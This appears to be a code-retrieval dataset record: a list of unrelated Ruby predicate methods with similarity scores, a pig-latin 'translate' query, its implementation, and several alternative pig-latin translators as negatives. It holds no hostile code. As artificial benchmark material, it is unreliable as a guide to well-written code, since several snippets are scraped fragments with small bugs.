"def application_xmls?\n !repository.application.service_library? && !repository.application.standalone_model_library?\n end",
"def authen_type_pap?()\n return true if (@authen_type == TAC_PLUS_AUTHEN_TYPE_PAP)\n return false\n end",
"def all_of_type?\n type != ALL && id == ALL\n end",
"def alien?() is_type?( 'Alien'); end",
"def cae?\n self.model_types.detect { |mt| mt.name == \"CAE\" } != nil\n end",
"def can_fly_many_aircraft_types\n return false if self.licenses.nil?\n return self.licenses.count(:all, :select => 'DISTINCT aircraft_type_id') > 1\n end",
"def apps_by_type(type)\n apps(:apptype => type)\n end",
"def app_type\n @app_type || @detected_app_type\n end",
"def ltype?\n return true\n end",
"def all_of_type?\n type != Resource::ALL && id == Resource::ALL\n end",
"def detected_app_type\n @detected_app_type\n end",
"def using_affiliate?(account_type)\n affiliate_account_types.include?(account_type.to_s.classify)\n end",
"def appraisals; end",
"def appraisals; end",
"def applications_awarded_by_review_committee\n application_for_offerings.find(:all, \n :conditions => { :application_review_decision_type_id => application_review_decision_types.yes_option.id })\n end",
"def special?\n return data.atk_class == 2\n end",
"def multiple_account_types?\n account_types.size > 1\n end",
"def carry_atleast_men_women_apparel\n if mens_apparel == false && womens_apparel == false\n errors.add(:mens_apparel, \"The store must carry at least one mens/womens apparel.\")\n errors.add(:womens_apparel, \"The store must carry at least one mens/womens apparel.\")\n end\n end",
"def affiliates_enabled?\n affiliate_account_types.present?\n end",
"def recognized?\n return !self.etypes.empty?\n end",
"def primary?\n @type == \"primary\"\n end",
"def provided_store_details?(merchant)\n store = Store.find_by(merchant_id: merchant.id)\n store\n\tend",
"def scribdable?\n ContentTypes.include?(get_content_type) && ipaper_id.blank?\n end",
"def check_app_links\n # https://developer.apple.com/library/ios/documentation/AppleApplications/Reference/SafariWebContent/PromotingAppswithAppBanners/PromotingAppswithAppBanners.html\n if element = @server.response.doc.at_xpath(\"//meta[@name='apple-itunes-app']\")\n result = element.attributes['content'].value.split(\",\").each_with_object({}) {|pair, res| key, value = pair.split('='); res[key.strip]=value.strip }\n shop_link = \"https://itunes.apple.com/app/id#{result['app-id']}?mt=8\" if result.keys.include?('app-id')\n if result.keys.include?('affiliate-data')\n @result.passed \"HTML: iOS app link includes affilaite id\"\n else\n @result.warned \"HTML: iOS app link found\" \n #@result.warned \"HTML: No Affiliate link for iOS Smart App Banner\" \n end\n else\n @result.info \"HTML: No iOS app link\"\n end\n end",
"def no_appts_avail?\n appointments.empty?\n end",
"def proprietary?\n include?(\"AOL\") || include?(\"NETSCAPE\") || include?(\"NOVONYX\") || include?(\"SUN\") || include?(\"MMP\")\n end",
"def app_installed?(app_id)\n @bridge.app_installed?(app_id)\n end",
"def app_installed?(app_id)\n @bridge.app_installed?(app_id)\n end",
"def installer_AdobeUberInstaller?\n installer_type == \"AdobeUberInstaller\"\n end",
"def app_user?\n member_type == MEMBER_TYPE[:app]\n end",
"def mix_type_ok?(item)\n Bubs::Mix::MIX_TYPES.include?(item.mix_type)\n end",
"def app_store\n self.in(AppStore)\n end",
"def cap? ; prod_type == 'cap' end",
"def available_types\n # TODO pull this from DB or config\n [\n :kiosk,\n :ride,\n :store,\n :restaurant\n ]\n end",
"def unsuccessful_app?\n !awarded? && !withdrawn?\n end",
"def isStoreManager(user) \t \t\t\t\n\t \t\t\tif user.nil?\n\t \t\t\t\treturn false\n\t \t\t\telse\n\t \t\t\t\t# returns all stores that this user is a storemanager of\n\t \t\t\t\tstores = Store.with_role(:storemanager, user)\t \t\t\t\t\n\t \t\t\t\t\n\t \t\t\t\tif stores.empty? #returns empty array, not nil\n\t \t\t\t\t\treturn false\n\t \t\t\t\telse \n\t \t\t\t\t\treturn true\n\t \t\t\t\tend\n\t \t\t\tend\n\t \t\tend",
"def is_to_be_stored?\n any?(&:is_to_be_stored?)\n end",
"def site_enable?\n self[:type] == \"CompanyZ\" && !self.layout.architecture_type.nil?\n end",
"def standalone?\n not $SLICED_APP\n end",
"def standalone?\n not $SLICED_APP\n end",
"def map_displayed?(store, store_type)\n index = macys? ? 0 : store_index(store, store_type)\n map_containers_elements[index].visible?\n end",
"def intangible?\n self.all_bookable?\n end",
"def valid_type? item_type\n [BATTLE_ITEMS, KEY_ITEMS, INGREDIENTS, TREASURES, CAR_PARTS, LEISURE].include?(item_type)\n end",
"def item?\n return (@kind == ACTItem)\n end",
"def equip_wtype_ok?(wtype_id)\r\n features_set(FEATURE_EQUIP_WTYPE).include?(wtype_id)\r\n end",
"def multiple_items?\n self.frontend == :shopcart\n end",
"def product?\n [2, 3].map { |i| TYPES[i] }.include? self.ctype\n end",
"def valid_app?(app)\n !!(app =~ APP_REGEX)\n end",
"def physical?\n return data.atk_class == 1\n end",
"def access?(application)\n applications.include?(application)\n end",
"def store_award?\n STORE_AWARD_IDS.include?(id)\n end",
"def response_is_cross_app?( response )\n return false unless response\n return false unless cross_app_enabled?\n return false if get_ty_data_header(response).empty?\n\n return true\n end",
"def records?\n defined?(@record_types) and ! @record_types.empty?\n end",
"def show?\n if user.type == 'ReferralAgency'\n user.tenants.include?(app.tenant)\n else\n user.properties.each do |property|\n return true if property.applications.include?(app)\n end\n false\n end\n end",
"def normal_item?\n @itype_id == 1\n end",
"def skill_wtype_ok?(skill)\r\n return true\r\n end",
"def eh_measures?\n measures.pluck(:reporting_program_type).include?('eh')\n end",
"def oral_application_type\n application_types.find(:first, :joins => :application_type, :conditions => { \"application_types.title\" => \"Oral Presentation\" })\n end",
"def require_product?\n !!!catalog_request?\n end",
"def require_product?\n !!!catalog_request?\n end",
"def same_sha1_as_installed?\n app.sha1 == installed_app_sha1\n end",
"def is_sub_logic?\n self.class.name.underscore.include? \"/appointments/\"\n end",
"def check_personality_type(recommendations_types)\n recommendations_types.include? Personality::TYPE\n end",
"def should_be_store?\n listings.where(state: ['active', 'draft', 'removed', 'sold']).count >= 10\n end",
"def meta_type?(meta)\n\t\treturn (self.type & meta == meta)\n\tend",
"def meta_type?(meta)\n\t\treturn (self.type & meta == meta)\n\tend",
"def recommendable?() false end",
"def has_loan_type_conditions?\n loan_type_uids != LOAN_TYPE_UIDS\n end",
"def compliant_app_list_type\n return @compliant_app_list_type\n end",
"def compliant_app_list_type\n return @compliant_app_list_type\n end",
"def builtin_type?\n\t\ttrue\n\tend",
"def ep_measures?\n measures.pluck(:reporting_program_type).include?('ep')\n end",
"def have_all_types?\n @args.each do |a|\n unless @argtype.has_key? a\n return false\n end\n end\n true\n end",
"def any_records?(type)\n @records.any? { |rec| rec.is_a?(type) && rec.valid? }\n end",
"def installer?\n @kind == :installer\n end",
"def client_app_types\n return @client_app_types\n end",
"def booked?\n meetup = Model::MEETUPS.first\n meetup[\"speakers\"].size > 1\n end",
"def complete?\n statuses = appointments.pluck(:type)\n statuses.uniq!\n statuses_to_check = %w[\n InProgessAppointment\n OpenAppointment\n ScheduledAppointment\n ]\n\n if (statuses_to_check & statuses).any?\n false\n else\n true\n end\n end",
"def can_shop?\n if self.flags.unresolved.where(can_shop: false).count > 0\n return false\n end\n\n return true unless self.has_shopped?\n\n now = Time.now\n if self.last_shopped_at < now.beginning_of_week\n return true\n end\n\n return false\n end",
"def entry_type_set?\n self.new_design? || self.dot_rev_design?\n end",
"def from_iphone?\n app_matcher = /(DustTag|Dust Tag|Fat Tag|Katsu)/\n test = !(self.gml_application =~ app_matcher || self.application =~ app_matcher).blank?\n # puts \"from_iphone?(#{self.gml_application} || #{self.application}) = #{test}\"\n return test\n end",
"def record?\n type.record?\n end",
"def is_a_recording?\n manifestation_type.manifestation_type_category == 2\n end",
"def manually_awarded?\n actable_type.nil? && actable.nil?\n end",
"def is_appointments_not_empty\n\t\tAppointment.all.present? \n\tend",
"def include?(item, kind)\n case kind\n when :item\n item.is_a?(RPG::Item) && !item.key_item?\n when :weapon\n item.is_a?(RPG::Weapon)\n when :armor\n item.is_a?(RPG::Armor) && item.etype_id == 3\n when :shield\n item.is_a?(RPG::Armor) && item.etype_id == 1\n when :helmet\n item.is_a?(RPG::Armor) && item.etype_id == 2\n when :boot\n item.is_a?(RPG::Armor) && item.etype_id == 4\n when :key_item\n item.is_a?(RPG::Item) && item.key_item?\n else\n false\n end\n end",
"def combine?\n meta[:combine_type]\n end"
] |
[
"0.66719437",
"0.6437701",
"0.643133",
"0.6360413",
"0.63330936",
"0.625309",
"0.62432534",
"0.62058216",
"0.6195411",
"0.6190126",
"0.6094071",
"0.6071654",
"0.6049728",
"0.60464597",
"0.6042863",
"0.6022997",
"0.59546185",
"0.59434205",
"0.5864521",
"0.5863726",
"0.5836035",
"0.58043313",
"0.57972634",
"0.5794297",
"0.5794124",
"0.57924753",
"0.57747287",
"0.57747287",
"0.5724642",
"0.57181174",
"0.5711605",
"0.57113945",
"0.56992525",
"0.5691194",
"0.5679507",
"0.566835",
"0.5666106",
"0.56633586",
"0.56590295",
"0.5658777",
"0.5639222",
"0.5639222",
"0.5634238",
"0.5628549",
"0.5612377",
"0.5611206",
"0.5609952",
"0.5595044",
"0.55895144",
"0.5579389",
"0.5577754",
"0.5574162",
"0.5572741",
"0.5572741",
"0.55675465",
"0.55671483",
"0.5566554",
"0.55588466",
"0.5555636",
"0.55537575",
"0.5544998",
"0.554433",
"0.5536867",
"0.55327785",
"0.55323875",
"0.55276835",
"0.5523642",
"0.5509873",
"0.5505392",
"0.54979426",
"0.54834396",
"0.548331",
"0.5481879",
"0.5481879",
"0.5480179",
"0.5477744",
"0.547554",
"0.54723954",
"0.5471184",
"0.5471184",
"0.547037",
"0.54675806",
"0.5466268",
"0.5466268",
"0.5466101",
"0.54620993",
"0.54610276",
"0.54495764",
"0.54460156",
"0.54456156",
"0.5445347",
"0.5440157",
"0.54384977",
"0.54374677",
"0.5436194",
"0.5433439",
"0.5432314",
"0.5429216",
"0.54279625",
"0.5423048",
"0.54190296"
] |
0.0
|
-1
|
=begin def translate(word) vowels = %w[a e i o u] if vowels.include?(word[0]) word + 'ay' elsif vowels.include?(word[2]) word[2..1] + word[0..1] + 'ay' else word[1..1] + word[0] + 'ay' end end =end
|
def translate(word)
split_words = word.split(' ')
words = []
vowels = %w[a e i o u]
split_words.each do |word|
word = qu_in_word(word)
if vowels.include?(word[0])
words.push(word + 'ay')
else
count = 0
word.length.times do |number|
vowels.include?(word[number]) ? break : count += 1
end
words.push(word[count..-1] + word[0..(count - 1)] + 'ay')
end
end
words.join(' ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def translate word\n alpha = ('a'..'z').to_a\n vowels = %w[a e i o u]\n consonants = alpha - vowels\n\n if vowels.include?(word[0])\n word + 'ay'\n elsif consonants.include?(word[0]) && consonants.include?(word[1])\n word[2..-1] + word[0..1] + 'ay'\n elsif consonants.include?(word[0])\n word[1..-1] + word[0] + 'ay'\n else\n word # return unchanged\n end\nend",
"def translate(word)\n\tvowels = %w{a e i o u}\n\n\t@word = word\n\n\tif vowels.include?(@word[0])\n\t\t@word += \"w\"\n\telse\n\t\tuntil vowels.include?(@word[0])\n\t\t\t# adjust for \"qu\"\n\t\t\t@word[0] == \"q\" ? @word += @word.slice!(0..1) : @word += @word.slice!(0)\n\t\t\t# stop if y\n\t\t\tbreak if @word[0] == \"y\"\n\t\tend\n\tend\n\n\t@word += \"ay\"\nend",
"def translate_one_vowel( word )\n\n\t\t\t\tword + \"ay\"\n\n\tend",
"def translate word\n\n\tsplit = word.split(\" \")\n\tlatin = \"\"\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\t\n\n\n\tsplit.each do |string|\n\n\t\ta = 0\n\t\tconsts = 0\n\n\t\twhile vowels.include?(string[a]) === false\n\t\t\tconsts = consts + 1\n\t\t\ta = a + 1\n\t\tend\n\n\t\tif string[consts -1] === \"q\"\n\t\t\tif string[consts] === \"u\"\n\t\t\t\tconsts = consts + 1\n\t\t\tend\n\t\tend\n\n\t\tb = string[0, consts]\n\n\t\t\n\t\tif consts === 1\n\t\t\tlatin = latin + string[consts, string.length-1] + string[0] + \"ay\"\n\t\telsif\tconsts > 1\n\t\t\tlatin = latin + string[consts, string.length-1] + b + \"ay\"\n\t\telse\n\t\t\tlatin = latin + string + \"ay\"\n\t\tend\n\n\tlatin = latin + \" \"\n\n\tend\n\n\tlatin.strip\n\t\nend",
"def translate_word(word)\n\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n\tword = word.split(' ')\n\tif (vowels.include?(word[0]))\n\t\tword.join + \"ay\"\n\telse \n\t\tuntil (!vowels.include?(word[0]))\n\t\t\tword.rotate!\n\t\t\ti += 1\n\t\t\t# word.rotate!\n\t\tend \n\t\treturn word.join + \"ay\"\n\tend \nend",
"def translate(word)\n if starts_with_vowel?(word) == true\n @translated_phrase << (word + \"way\")\n elsif consonant_letter?(word) == true\n letter = word.split('')\n letters = []\n @count.times do\n letters << letter.shift\n end\n new_word = letters.join('') + \"ay\"\n @translated_phrase << (letter.join('') + new_word)\n end\n end",
"def translate(str)\n\n words = str.split(\" \")\n\n translated_words = words.collect do |word|\n if (\"aeiou\").include?(word[0]) then\n word + \"ay\"\n elsif (word[0..1]).include?(\"qu\") then\n word[2..-1] + word[0..1] + \"ay\"\n elsif (word[0..2]).include?(\"qu\") then\n word[3..-1] + word[0..2] + \"ay\"\n else\n n = word.index(/[aeiou]/)\n word[n..-1] + word[0..n-1] + \"ay\"\n end\n end\n\n translated_words.join(\" \")\nend",
"def translate str\n alpha = ('a'..'z').to_a\n vowels = %w[a e i o u]\n consonants = alpha - vowels\n\n if vowels.include?(str[0])\n str + 'ay'\n elsif consonants.include?(str[0]) && consonants.include?(str[1])\n str[2..-1] + str[0..1] + 'ay'\n elsif consonants.include?(str[0])\n str[1..-1] + str[0] + 'ay'\n else\n str # return unchanged\n end\nend",
"def translate_word(word)\n first_letter = word[0].downcase\n \n if word[0..1] == \"qu\"\n return word[2..-1] + word[0..1] + \"ay\"\n end\n if word[0] == \"s\" && word[1..2] == \"qu\"\n \n return word[3..-1] + word[0] + word[1..2] + \"ay\"\n end\n\n if [\"a\", \"e\", \"i\", \"o\", \"u\"].include?(first_letter)\n #translate word that starts with vowel\n \"#{word}ay\"\n else\n #translate word that starts with consonant(s)\n consonants = []\n consonants << word[0]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[1]) == false\n consonants << word[1]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[2]) == false\n consonants << word[2]\n\n end\n\n end\n \"#{word[consonants.length..-1] + consonants.join + \"ay\"}\"\n end\nend",
"def translate( word )\n #Practicing regular expressions. Main idea: If I can find the first vowel then take the index\n #where that vowel is and split the word. If word has no vowels or first letter is a vowel,\n #just put word in new_word variable.\n\n phrase = \"\"\n\n word.split.each do | word |\n\n #If first letter is a vowel or no vowels in the word, just give the word\n if ( /[aeiou]/ =~ word ) == 0 || ( /[aeiou]/ =~ word ) == nil\n new_word = word\n\n #If my word starts with a qu then we'll split the word with the qu together\n elsif word[ 0..1 ] == \"qu\"\n new_word = word[ 2..word.length ] + word[ 0..1 ]\n\n #Keeping below if I wanna find a word that has a vowel \n #if word.split.any? { |letter| /[aeiou]/ =~ letter }\n\n #If my word starts with an squ then we'll split this word with the squ together\n elsif word[ 0..2 ] == \"squ\"\n new_word = word[ 3..word.length ] + word[ 0..2 ]\n\n else\n new_word = word[ ( /[aeiou]/ =~ word )..word.length ] + word[ 0..( ( /[aeiou]/ =~ word ) - 1 ) ]\n end\n\n #Add ay if vowel is at the front of the new word\n new_word += \"ay\" if new_word.split.any? { | letter | /[aeiou]/ =~ letter }\n\n #Adding the words together to form the output with space\n phrase += \"#{ new_word } \"\n\n end\n\n puts phrase\n phrase.strip\n\nend",
"def vowel_trans(word)\n return word + \"yay\"\n end",
"def translate(text)\n\nvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"] #create array of vowels\nwords = text.split(\" \") #create array of individual words from text \ntranslation = [] #create empty array to receive the individually translated words\n\n words.each do |word| #for each individual word in the array\n \n #create loop to continue while first letter is not a vowel.\n while vowels.include?(word[0].downcase) == false #check index 0 (first letter) in word is NOT a vowel\n \n if word[0..1] == \"qu\" #create exceptional case for 'qu'\n word = word [2..-1] + word[0..1] #splice the first two letters to the end of the word\n else\n word = word [1..-1] + word[0] #push the first letter in the word (index [0]) to the end of the array\n end \n \n end\n \n word = word + \"ay\"\n translation.push(word) #push the word to the end of the final array\n\n end\n \ntranslation.join(\" \")\n \nend",
"def translate(your_string)\n words = your_string.split(/\\s+/)\n vowels = %w{a e i o u}\n th_ch = %q{th ch sh sc qu }\n three_letter = %q{sch}\n translated_words=[]\n words.each do |word|\n letters = word.scan(/\\w/)\n word_length = letters.length\n \n if vowels.include?(letters[0])\n #word begins with a vowel\n word += \"ay\"\n \n elsif th_ch.include?(letters[0]+letters[1]) && !vowels.include?(letters[2])\n # word begins with three consonants\n word = (letters[3..word_length-1]<<letters[0]<<letters[1]<<letters[2]).join.to_s+\"ay\"\n \n elsif th_ch.include?(letters[0]+letters[1]) && vowels.include?(letters[2])\n #word begins with two defined consonants followed by a vowel\n word = (letters[2..word_length-1]<<letters[0]<<letters[1]).join.to_s+\"ay\"\n \n elsif (letters[1]+letters[2]) == \"qu\"\n # word starts with a <consonant + \"qu\">\n word = (letters[3..word_length-1]<<letters[0]<<letters[1]<<letters[2]).join.to_s+\"ay\"\n \n elsif !vowels.include?(letters[0]) && !vowels.include?(letters[1])\n #word begins with two not_defined consonants followed by a vowel\n word = (letters[2..word_length-1]<<letters[0]<<letters[1]).join.to_s+\"ay\"\n \n else\n # only one consonant begins the word\n word = (letters[1..word_length-1]<<letters[0]).join.to_s+\"ay\"\n end\n translated_words << word\n end\n translated_words.join(\" \").to_s\nend",
"def translate(str)\n\n\n\n # Vowels to consider\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n # Special cases to consider\n two_letter_consonants = [\"ch\", \"sh\", \"qu\", \"th\", \"br\"]\n three_letter_consonants = [\"thr\", \"sch\", \"squ\"]\n\n words = str.split(\" \")\n result = []\n\n words.each do |word|\n if vowels.include?(word[0])\n result.push word << \"ay\"\n else \n if three_letter_consonants.include? (word[0] + word[1] + word[2])\n first_three_letters = word.slice!(0,3)\n \n # Add letters to end of word with 'ay'\n result.push word << first_three_letters << 'ay'\n elsif two_letter_consonants.include?(word[0] + word[1])\n first_two_letters = word.slice!(0,2)\n result.push word << first_two_letters << \"ay\"\n else \n first_letter = word.slice!(0)\n \n # Add first letter to end of word with 'ay'\n result.push word << first_letter << 'ay'\n end #End of special consonant check\n end \n end \n return result.join(\" \")\nend",
"def translate string\n\n\t#This splits the string into an array of words\n\twords = string.split(\" \")\n\t\n\t#Goes through each word in array words\n\tfor i in 0...words.length\n\n\t\t#This splits each word into an array of characters\n\t\tcharacters = words[i].chars\n\n\t\t#If a word begins with a vowel, add \"ay\" to the end of the word\n\t\tif isVowel characters[0]\n\n\t\t\tcharacters.push(\"a\", \"y\")\n\t\t\twords[i] = characters.join(\"\")\n\n\t\t#If a word does not begin with a vowel...\n\t\telse\n\n\t\t\t#While the first character is not a vowel, move it to the back of the word\n\t\t\twhile !(isVowel characters[0])\n\n\t\t\t\t#If the first character is a \"q,\"\n\t\t\t\tif characters[0] == \"q\"\n\n\t\t\t\t\t#and the next character is a \"u,\" push both the \"qu\" to the end\n\t\t\t\t\tif characters[1] == \"u\"\n\n\t\t\t\t\t\tconsonant = characters.shift\n\t\t\t\t\t\tcharacters.push(consonant)\n\t\t\t\t\t\tu = characters.shift\n\t\t\t\t\t\tcharacters.push(u)\n\n\t\t\t\t\tend\n\n\t\t\t\t#Otherwise, just push the first letter to the end\n\t\t\t\telse\n\n\t\t\t\t\tconsonant = characters.shift\n\t\t\t\t\tcharacters.push(consonant)\n\n\t\t\t\tend\n\n\t\t\tend\n\n\t\t\t#Then add \"ay\" to the end of the word\n\t\t\tcharacters.push(\"a\", \"y\")\n\t\t\twords[i] = characters.join(\"\")\n\n\t\tend\n\t\t\n\tend\n\n\t#Joins together all the words with a space in between them and returns the modified string as an answer\n\tanswer = words.join(\" \")\n\treturn answer\n\nend",
"def translate(arr)\n vowels = %w{a e i o u y}\n consonants = %w{b c d f g h j k l m n p q r s t v w x y z}\n\n a = arr.split.map do |word| \n if vowels.include?(word[0])\n word + \"ay\"\n elsif word[0..1] == \"qu\"\n word[2..-1] + \"quay\"\n elsif word[0..2] == \"sch\"\n word[3..-1] + \"schay\"\n elsif word[0..2] == \"squ\"\n word[3..-1] + \"squay\"\n elsif consonants.include?(word[0]) && consonants.include?(word[1]) && consonants.include?(word[2])\n word[3..-1] + word[0..2] + \"ay\"\n elsif consonants.include?(word[0]) && consonants.include?(word[1])\n word[2..-1] + word[0..1] + \"ay\"\n elsif consonants.include?(word[0])\n word[1..-1] + word[0] + \"ay\"\n end\n end\n\n a.join(\" \")\nend",
"def translate s\n \n words = s.split.map{|word|\n if %w(a e i o u).include?(word[0])\n word << \"ay\"\n elsif %w(thr sch squ).include?(word[0..2])\n word[3..-1] << (word[0..2] << \"ay\")\n elsif %w(ch qu br th).include?(word[0..1])\n word[2..-1] << word[0..1] << \"ay\" \n else\n word[1..-1] << (word[0] << \"ay\") \n end\n }\n words.join(\" \")\n\nend",
"def translate(string)\n newArr = []\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \n # * Split it into words\n words = string.split()\n\n # * For every word in the sentence...\n words.each do |word|\n # * If the word has 'qu'\n if word[1..2].downcase == \"qu\"\n newArr << word[3..-1] + word[0..2] + \"ay\"\n\n elsif word[0..1].downcase == \"qu\"\n newArr << word[2..-1] + word[0..1] + \"ay\"\n\n # * If it starts with a vowel\n elsif vowels.include?(word[0].downcase)\n newArr << word + \"ay\"\n\n # * If the first three consonants aren't vowels\n elsif not vowels.include?(word[0].downcase) and not vowels.include?(word[1]) and not vowels.include?(word[2])\n newArr << word[3..-1] + word[0..2] + \"ay\" \n # * ...or if the first two consonants aren't vowels\n elsif not vowels.include?(word[0].downcase) and not vowels.include?(word[1])\n newArr << word[2..-1] + word[0..1] + \"ay\" \n \n # * After all that, if it starts with one consonant\n else\n newArr << word[1..-1] + word[0] + \"ay\"\n end\n end\n\n newArr.join(\" \")\nend",
"def translate(s)\n vowels = 'aeiou'\n phoneme1 = ['ch', 'qu', 'br', 'th']\n phoneme2 = ['sch', 'thr', 'squ']\n\nstring = s.split.each do |i|\n if vowels.include?i[0]\n i << \"ay\"\n elsif\n phoneme2.include?(i[0..2])\n return i[3..-1] + i[0..2] + \"ay\"\n elsif\n phoneme1.include?(i[0..1])\n return i[2..-1] + i[0..1] + \"ay\"\n else\n new_ending = i.slice!(0)\n i << new_ending + \"ay\" \n end\n end\n string = string.join(\" \")\nend",
"def translate(str)\n\tvowel=%w[a e i o u]\n\tcons=[*'a'..'z']-vowel\n\n\ta_str=str.split(\" \")\n\n\tfor i in 0..a_str.length-1\n\t\tif vowel.include?a_str[i][0]\n\t\t\tpig_l = a_str[i] + \"ay\"\n\t\t\treturn pig_l.split(\",\").join(\"\")\n\t\telsif cons.include?a_str[i][0]\n\t\t\tif cons.include?a_str[i][1]\n\t\t\t\tz=a_str[i].slice!(0..1)\n\t\t\telse\n\t\t\t\tz=a_str[i].slice!(0)\n\t\t\tend\n\t\t\tpig_l=a_str[i] + z+ \"ay\"\n\t\t\treturn pig_l.split(\",\").join(\"\")\n\t\tend\n\tend\nend",
"def translate_word word\n # Don't translate short words\n return word if word.size == 1\n\n # Handle specific words\n dictionary = {\n 'AWESOME' => 'ERSUM',\n 'BANANA' => 'BERNERNER',\n 'BAYOU' => 'BERU',\n 'FAVORITE' => 'FRAVRIT',\n 'FAVOURITE' => 'FRAVRIT',\n 'GOOSEBUMPS' => 'GERSBERMS',\n 'LONG' => 'LERNG',\n 'MY' => 'MAH',\n 'THE' => 'DA',\n 'THEY' => 'DEY',\n 'WE\\'RE' => 'WER',\n 'YOU' => 'U',\n 'YOU\\'RE' => 'YER',\n\n 'awesome' => 'ersum',\n 'banana' => 'bernerner',\n 'bayou' => 'beru',\n 'favorite' => 'fravrit',\n 'favourite' => 'fravrit',\n 'goosebumps' => 'gersberms',\n 'long' => 'lerng',\n 'my' => 'mah',\n 'the' => 'da',\n 'they' => 'dey',\n 'we\\'re' => 'wer',\n 'you' => 'u',\n 'you\\'re' => 'yer',\n\n 'Awesome' => 'Ersum',\n 'Banana' => 'Bernerner',\n 'Bayou' => 'Beru',\n 'Favorite' => 'Fravrit',\n 'Favourite' => 'Fravrit',\n 'Goosebumps' => 'Gersberms',\n 'Long' => 'Lerng',\n 'My' => 'Mah',\n 'The' => 'Da',\n 'They' => 'Dey',\n 'We\\'re' => 'Wer',\n 'You' => 'U',\n 'You\\'re' => 'Yer',\n }\n\n return dictionary[word] if dictionary.key? word\n \n # Before translating, keep a reference of the original word\n original_word = \"\"\n original_word << word\n\n word.upcase!\n\n # Drop vowel from end of words. Keep it for short words, like \"WE\"\n word.sub!(/[AEIOU]$/, '') if original_word.size > 2\n\n # Reduce duplicate letters\n word.gsub!(/[^\\w]|(.)(?=\\1)/, '')\n\n # Reduce adjacent vowels to one\n word.gsub!(/[AEIOUY]{2,}/, 'E') # TODO: Keep Y as first letter\n\n # DOWN -> DERN\n word.gsub!(/OW/, 'ER')\n\n # PANCAKES -> PERNKERKS\n word.gsub!(/AKES/, 'ERKS')\n\n # The mean and potatoes: replace vowels with ER\n word.gsub!(/[AEIOUY]/, 'ER') # TODO: Keep Y as first letter\n\n # OH -> ER\n word.gsub!(/ERH/, 'ER')\n\n #MY -> MAH\n word.gsub!(/MER/, 'MAH')\n\n #FALLING -> FERLIN\n word.gsub!('ERNG', 'IN')\n\n #POOPED -> PERPERD -> PERPED\n word.gsub!('ERPERD', 'ERPED')\n\n #MEME -> MAHM -> MERM\n word.gsub!('MAHM', 'MERM')\n\n # Keep Y as first character\n # YES -> ERS -> YERS\n word = 'Y' + word if original_word[0] == 'Y'\n\n # Reduce duplicate letters\n word.gsub!(/[^\\w]|(.)(?=\\1)/, '')\n\n # YELLOW -> YERLER -> YERLO\n if original_word.end_with?('LOW') && word.end_with?('LER')\n word.sub!(/LER$/, 'LO')\n end\n\n # Resolve case\n return word.downcase if original_word[0] >= 'a' and original_word[0] <= 'z' and original_word[-1] >= 'a' and original_word[-1] <= 'z'\n return word[0] + word[1..-1].downcase if original_word[0] >= 'A' and original_word[0] <= 'Z' and original_word[-1] >= 'a' and original_word[-1] <= 'z'\n\n return word\n\nend",
"def translate (sentence)\n\ttranslated = ''\n\twords = sentence.split(' ')\n\twords.each { |word|\n\t\tfound_vowels = word.scan(/^[aeiou]*/)\n\t\tfound_consonants = word.scan(/^[bcdfghjklmnpqrstvxzwy]*/)\n\t\tif !found_vowels[0].empty?\n\t\t\ttranslated << word << 'ay'\n\t\telsif !found_consonants[0].empty?\n\t\t\tword = word.tr(found_consonants[0], '')\n\t\t\ttranslated << word << found_consonants[0] << 'ay'\n\t\tend\n\t\tif words.length > 1\n\t\t\ttranslated << ' '\n\t\tend\n\t}\n\treturn translated.rstrip\nend",
"def translate(word)\n\tary = Array.new\n\tary << word.split(\"\")\n\tputs \"Hello World\"\n\tputs word[0]\n\tputs \"Hey there\"\n\tif (ary[0] == \"a\")\n\t\tputs \"hello world\"\n\t\tputs \"This word starts with a vowel\"\n\tend\nend",
"def translate(words)\n split_words = words.split\n split_words.each_with_index do |word, i|\n # check if first letter is a vowel\n if word[0].include? VOWELS.join\n word = add_ay(word) # add ay to the back of the word\n split_words[i] = word\n\n elsif word[0].include? CONSONANTS\n find_phoneme(word)\n elsif (word[0].include? CONSONANTS) && (word[1].include? CONSONANTS)\n find_phoneme(word)\n elsif (word[0].include? CONSONANTS) && (word[1].include? CONSONANTS) && (word[2].include? CONSONANTS)\n\n # the word has a consonant at the beginning with\n # no special conditions\n else\n word = one_cons_at_beginning(word)\n word = add_ay(word)\n split_words[i] = word\n end\n end\n split_words.join\nend",
"def pig_latin_word(word)\n vowels = ['a', 'e', 'i', 'o', 'u']\n new_word = \"\"\n if vowels.include?(word[0])\n return word + \"yay\"\n else\n word.each_char.with_index do |ch, i|\n if vowels.include?(ch)\n return word[i..-1] + word[0...i] + \"ay\"\n end\n end\n end\nend",
"def translate words\n\tarray = words.split \n\ti = 0\n\ttotal = \"\"\n\twhile i < array.length\n\t\tstring = array[i]\n\t\tif string[0] =~ /[aeiou]/\n\t\t\tresult = string + \"ay\"\n\t\telse\n\t\t\tletters = \"\"\n\t\t\tcounter = 0\n\t\t\tnumberConsanants = 0\n\t\t\twhile counter < string.length\n\t\t\t\tif string[counter] =~ /[aeiou]/\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\tletters = letters + string[counter]\n\t\t\t\t\tif string[counter] == 'q' && string[counter+1] == 'u'\n\t\t\t\t\t\tletters = letters + 'u'\n\t\t\t\t\t\tnumberConsanants = numberConsanants + 1\n\t\t\t\t\tend\n\t\t\t\t\tnumberConsanants = numberConsanants + 1\n\t\t\t\tend\n\t\t\t\tcounter = counter + 1\n\t\t\tend\n\t\t\tresult = string.slice(numberConsanants, string.length) + letters + \"ay\"\n\t\tend\n\t\ttotal = total + result\n\t\tif i != array.length - 1\n\t\t\ttotal = total + \" \"\n\t\tend\n\t\ti = i + 1\n\tend\n\ttotal\nend",
